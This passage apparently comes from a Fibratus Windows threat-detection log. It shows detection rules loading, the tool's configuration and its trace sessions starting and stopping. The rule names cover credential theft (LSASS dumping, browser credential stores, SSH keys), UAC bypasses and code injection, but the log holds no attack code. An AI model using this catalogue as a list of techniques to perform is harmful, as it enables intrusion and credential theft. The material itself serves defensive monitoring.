+time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-10T16:21:37+01:00 level=info msg=bootstrapping with pid 15532. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-10T16:21:37+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ port=>25 content-type=>text/html to=>[] enabled=>false use-template=>true] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-vamap=>true enable-audit-api=>true min-buffers=>16 enable-net=>true enable-registry=>true enable-threadpool=>false enable-fileio=>true enable-image=>true enable-thread=>true max-buffers=>36 enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>false stack-enrichment=>true enable-dns=>false buffer-size=>512 flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-size=>100 log-stdout=>true formatter=>text max-backups=>15 max-age=>0] + output ......................... [ amqp=>[ url=>amqp://localhost:5672 exchange=>fibratus vhost=>/ durable=>false timeout=>5s passive=>false enabled=>false exchange-type=>topic delivery-mode=>transient tls-insecure-skip-verify=>false routing-key=>fibratus] elasticsearch=>[ healthcheck=>true template-name=>fibratus servers=>[http://127.0.0.1:9200] flush-period=>1s healthcheck-interval=>10s trace-log=>false gzip-compression=>false index-name=>fibratus sniff=>false timeout=>5s enabled=>false healthcheck-timeout=>5s bulk-workers=>1] http=>[ tls-insecure-skip-verify=>false enabled=>false enable-gzip=>false endpoints=>[] timeout=>5s method=>POST serializer=>json] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] enabled=>false fastscan=>true skip-registry=>false skip-mmaps=>false skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false excluded-procs=>[] scan-timeout=>10s] source=bootstrap/bootstrap.go:187 +time=2025-12-10T16:21:38+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:272 +time=2025-12-10T16:21:40+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:272 +time=2025-12-10T16:23:31+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-10T16:23:31+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:288 +time=2025-12-10T16:23:31+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:288 +time=2025-12-10T16:25:56+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-10T16:25:56+01:00 level=info msg=loading rule from 